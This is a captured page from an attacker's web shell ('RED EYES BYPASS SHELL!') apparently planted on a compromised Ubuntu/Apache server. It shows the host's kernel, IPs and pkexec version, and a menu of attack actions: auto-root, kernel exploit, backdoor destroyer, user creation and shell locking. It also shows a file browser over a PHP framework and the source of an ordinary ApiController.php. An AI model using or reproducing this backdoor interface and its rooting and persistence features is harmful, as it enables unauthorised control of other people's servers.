Linux sothorn202 5.15.0-161-generic #171-Ubuntu SMP Sat Oct 11 08:17:01 UTC 2025 x86_64
Apache/2.4.52 (Ubuntu)
: 202.28.82.202 | : 216.73.216.9
pkexec version 0.105
Cant Read [ /etc/named.conf ]
iqtd
RED EYES BYPASS SHELL!
Terminal
Auto Root
Adminer
Backdoor Destroyer
Kernel Exploit
Lock Shell
Lock File
Create User
+ Create Folder
+ Create File
/
home /
lifelonglearn /
commert /
accout /
Kotchasan /
[ HOME SHELL ]
NAME
SIZE
PERMISSION
ACTION
Cache
[ DIR ]
drwxr-xr-x
Database
[ DIR ]
drwxr-xr-x
Http
[ DIR ]
drwxr-xr-x
Log
[ DIR ]
drwxr-xr-x
Orm
[ DIR ]
drwxr-xr-x
PHPMailer
[ DIR ]
drwxr-xr-x
Psr
[ DIR ]
drwxr-xr-x
Accordion.php
2.59
KB
-rwxr-xr-x
ApiController.php
5.59
KB
-rwxr-xr-x
ApiException.php
431
B
-rwxr-xr-x
ArrayTool.php
16.99
KB
-rwxr-xr-x
CKEditor.php
5.5
KB
-rwxr-xr-x
Collection.php
4.73
KB
-rwxr-xr-x
Config.php
8.7
KB
-rwxr-xr-x
Controller.php
512
B
-rwxr-xr-x
Country.php
31.94
KB
-rwxr-xr-x
Csv.php
9.82
KB
-rwxr-xr-x
Curl.php
8.35
KB
-rwxr-xr-x
Currency.php
12.71
KB
-rwxr-xr-x
DOMNode.php
6.07
KB
-rwxr-xr-x
DOMParser.php
6.58
KB
-rwxr-xr-x
DataTable.php
50.94
KB
-rwxr-xr-x
Database.php
3.26
KB
-rwxr-xr-x
Date.php
8.26
KB
-rwxr-xr-x
Email.php
7.12
KB
-rwxr-xr-x
File.php
4.52
KB
-rwxr-xr-x
Files.php
3.05
KB
-rwxr-xr-x
Form.php
36.01
KB
-rwxr-xr-x
Grid.php
1.02
KB
-rwxr-xr-x
Html.php
21.1
KB
-rwxr-xr-x
HtmlTable.php
6.97
KB
-rwxr-xr-x
Htmldoc.php
4.37
KB
-rwxr-xr-x
Image.php
13.58
KB
-rwxr-xr-x
InputItem.php
20.1
KB
-rwxr-xr-x
InputItemException.php
449
B
-rwxr-xr-x
Inputs.php
4.29
KB
-rwxr-xr-x
KBase.php
561
B
-rwxr-xr-x
Kotchasan.php
2.73
KB
-rwxr-xr-x
Language.php
18.22
KB
-rwxr-xr-x
ListItem.php
7.77
KB
-rwxr-xr-x
Login.php
9.3
KB
-rwxr-xr-x
Menu.php
2.92
KB
-rwxr-xr-x
Mime.php
51.18
KB
-rwxr-xr-x
Model.php
1.31
KB
-rwxr-xr-x
Number.php
2.64
KB
-rwxr-xr-x
ObjectTool.php
3.73
KB
-rwxr-xr-x
Password.php
2.97
KB
-rwxr-xr-x
Pdf.php
43.15
KB
-rwxr-xr-x
Province.php
11.71
KB
-rwxr-xr-x
Router.php
5.45
KB
-rwxr-xr-x
Session.php
2.22
KB
-rwxr-xr-x
Singleton.php
1.3
KB
-rwxr-xr-x
Tab.php
3.72
KB
-rwxr-xr-x
Template.php
8.37
KB
-rwxr-xr-x
Text.php
12.89
KB
-rwxr-xr-x
Validator.php
2.7
KB
-rwxr-xr-x
View.php
8.16
KB
-rwxr-xr-x
Xls.php
3.04
KB
-rwxr-xr-x
load.php
15.54
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : ApiController.php
<?php /** * @filesource Kotchasan/ApiController.php * * @copyright 2016 Goragod.com * @license https://www.kotchasan.com/license/ * * @see https://www.kotchasan.com/ */ namespace Kotchasan; use Kotchasan\Http\Request; /** * API Controller base class * * @author Goragod Wiriya <admin@goragod.com> * * @since 1.0 */ class ApiController extends KBase { /** * แม่แบบคอนโทรลเลอร์ สำหรับ API * * @param Request $request * * @return JSON */ public function index(Request $request) { $headers = array('Content-type' => 'application/json; charset=UTF-8'); if (empty(self::$cfg->api_token) || empty(self::$cfg->api_ips)) { // ยังไม่ได้สร้าง Token หรือ ยังไม่ได้อนุญาต IP $result = array( 'code' => 503, 'message' => 'Unavailable API' ); } elseif (in_array('0.0.0.0', self::$cfg->api_ips) || in_array($request->getClientIp(), self::$cfg->api_ips)) { try { // รับค่าที่ส่งมาจาก Router $module = $request->get('module')->filter('a-z0-9'); $method = $request->get('method')->filter('a-z'); $action = $request->get('action')->filter('a-z'); // แปลงเป็นชื่อคลาส สำหรับ Model เช่น // api.php/v1/user/create ได้เป็น V1\User\Model::create $className = ucfirst($module).'\\'.ucfirst($method).'\\Model'; // ตรวจสอบ method if (method_exists($className, $action)) { // เรียกใช้งาน Class $result = createClass($className)->$action($request); // CORS if (!empty(self::$cfg->api_cors)) { $headers['Access-Control-Allow-Origin'] = self::$cfg->api_cors; $headers['Access-Control-Allow-Headers'] = 'origin, x-requested-with, content-type'; } } else { // error ไม่พบ class หรือ method $result = array( 'code' => 404, 'message' => 'Object Not Found' ); } } catch (ApiException $e) { // API Error $result = array( 'code' => $e->getCode(), 'message' => $e->getMessage() ); } } else { // ไม่อนุญาต IP $result = array( 'code' => 403, 'message' => 'Forbidden' ); } // Response คืนค่ากลับเป็น JSON ตาม $result $response = new \Kotchasan\Http\Response(); $response->withHeaders($headers) ->withStatus(empty($result['code']) ? 200 : $result['code']) ->withContent(json_encode($result, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES)) ->send(); } /** * ตรวจสอบ Token * สำเร็จ คืนค่า true * ไม่สำเร็จคืนค่าข้อผิดพลาด ApiException Invalid token * * @param string $token * * @return bool */ public static function validateToken($token) { if (self::$cfg->api_token === $token) { return true; } throw new ApiException('Invalid token', 401); } /** * ตรวจสอบ Token Bearer * สำเร็จ คืนค่า true * ไม่สำเร็จคืนค่าข้อผิดพลาด ApiException Invalid token * * @param Request $request * * @return bool */ public static function validateTokenBearer(Request $request) { if (preg_match('/^Bearer\s'.self::$cfg->api_token.'$/', $request->getHeaderLine('Authorization'))) { return true; } throw new ApiException('Invalid token', 401); } /** * ตรวจสอบ sign * สำเร็จ คืนค่า true * ไม่สำเร็จคืนค่าข้อผิดพลาด ApiException Invalid sign * * @param $params * * @return bool */ public static function validateSign($params) { if (count($params) > 1 && isset($params['sign'])) { $sign = $params['sign']; unset($params['sign']); if ($sign === \Kotchasan\Password::generateSign($params, self::$cfg->api_secret)) { return true; } } throw new ApiException('Invalid sign', 403); } /** * ตรวจสอบ Method * สำเร็จ คืนค่า true * ไม่สำเร็จคืนค่าข้อผิดพลาด ApiException Method not allowed * * @param Request $request * @param string $method Method เช่น POST GET PUT DELETE OPTIONS * * @return bool */ public static function validateMethod(Request $request, $method) { if ($request->getMethod() === $method) { return true; } throw new ApiException('Method not allowed', 405); } }
Close